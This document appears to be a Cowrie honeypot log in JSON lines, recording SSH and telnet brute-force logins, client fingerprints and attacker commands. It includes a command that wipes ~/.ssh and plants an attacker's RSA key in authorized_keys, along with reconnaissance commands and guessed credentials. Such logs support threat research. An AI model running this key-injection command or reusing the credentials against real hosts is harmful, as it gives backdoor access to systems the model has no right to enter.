{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.335510Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:35.342656Z","src_ip":"159.203.92.129","session":"057657e17f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.82.176","src_port":45498,"dst_ip":"159.203.135.109","dst_port":23,"session":"877928aa9aa3","protocol":"telnet","message":"New connection: 207.148.82.176:45498 (159.203.135.109:23) [session: 877928aa9aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:36.533278Z"}
{"eventid":"cowrie.session.closed","duration":30.57558250427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:50.224328Z","src_ip":"172.104.42.161","session":"662ecee5fe13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.57.205.146","src_port":33990,"dst_ip":"10.17.0.5","dst_port":23,"session":"72633932ab8c","protocol":"telnet","message":"New connection: 152.57.205.146:33990 (10.17.0.5:23) [session: 72633932ab8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:52.907656Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":53452,"dst_ip":"10.17.0.5","dst_port":22,"session":"54494c095d1c","protocol":"ssh","message":"New connection: 74.91.200.154:53452 (10.17.0.5:22) [session: 54494c095d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:53.661126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:53.665682Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:53.885488Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"Password1","message":"login attempt [steam/Password1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:54.783108Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.268911Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.271867Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.275045Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.498727Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.986504Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:55.990002Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:56.214079Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:56.218205Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"461ef4a4b2d8","protocol":"ssh","message":"New connection: 74.91.200.154:53468 (10.17.0.5:22) [session: 461ef4a4b2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:56.432635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:56.437492Z","src_ip":"74.91.200.154","session":"461ef4a4b2d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:56.657786Z","src_ip":"74.91.200.154","session":"461ef4a4b2d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:57.566051Z","src_ip":"74.91.200.154","session":"461ef4a4b2d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85933566093445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:58.040491Z","src_ip":"38.123.205.66","session":"06fb6539d36e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919617891311646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:58.772858Z","src_ip":"109.169.23.13","session":"16123f5b1c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:25:58.795233Z","src_ip":"74.91.200.154","session":"461ef4a4b2d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":54480,"dst_ip":"10.17.0.5","dst_port":22,"session":"730735ffb847","protocol":"ssh","message":"New connection: 74.91.200.154:54480 (10.17.0.5:22) [session: 730735ffb847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:00.049181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:00.059764Z","src_ip":"74.91.200.154","session":"730735ffb847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:00.283005Z","src_ip":"74.91.200.154","session":"730735ffb847","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:01.158705Z","src_ip":"74.91.200.154","session":"730735ffb847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:01.393155Z","src_ip":"74.91.200.154","session":"54494c095d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:01.396950Z","src_ip":"74.91.200.154","session":"730735ffb847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.631908178329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:04.725145Z","src_ip":"103.53.192.5","session":"6e7a531fff11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.442070722579956,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:06.349616Z","src_ip":"152.57.205.146","session":"72633932ab8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57399606704712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:07.107152Z","src_ip":"207.148.82.176","session":"877928aa9aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36356,"dst_ip":"159.203.135.109","dst_port":22,"session":"0173efd28ce7","protocol":"ssh","message":"New connection: 194.59.206.2:36356 (159.203.135.109:22) [session: 0173efd28ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:07.212832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:07.217951Z","src_ip":"194.59.206.2","session":"0173efd28ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:07.308226Z","src_ip":"194.59.206.2","session":"0173efd28ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:07.399577Z","src_ip":"194.59.206.2","session":"0173efd28ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35492,"dst_ip":"159.203.135.109","dst_port":22,"session":"46dfdcfdccf3","protocol":"ssh","message":"New connection: 159.203.92.129:35492 (159.203.135.109:22) [session: 46dfdcfdccf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.252193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.257648Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.262301Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.275740Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.332993Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.336638Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.341319Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.354337Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:17.359547Z","src_ip":"159.203.92.129","session":"46dfdcfdccf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.240.111.46","src_port":41288,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97b15322466","protocol":"telnet","message":"New connection: 103.240.111.46:41288 (159.203.135.109:23) [session: f97b15322466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:21.633049Z"}
{"eventid":"cowrie.session.closed","duration":120.00320148468018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:26:28.185452Z","src_ip":"118.68.22.252","session":"7cd2560af58f","protocol":"telnet"}
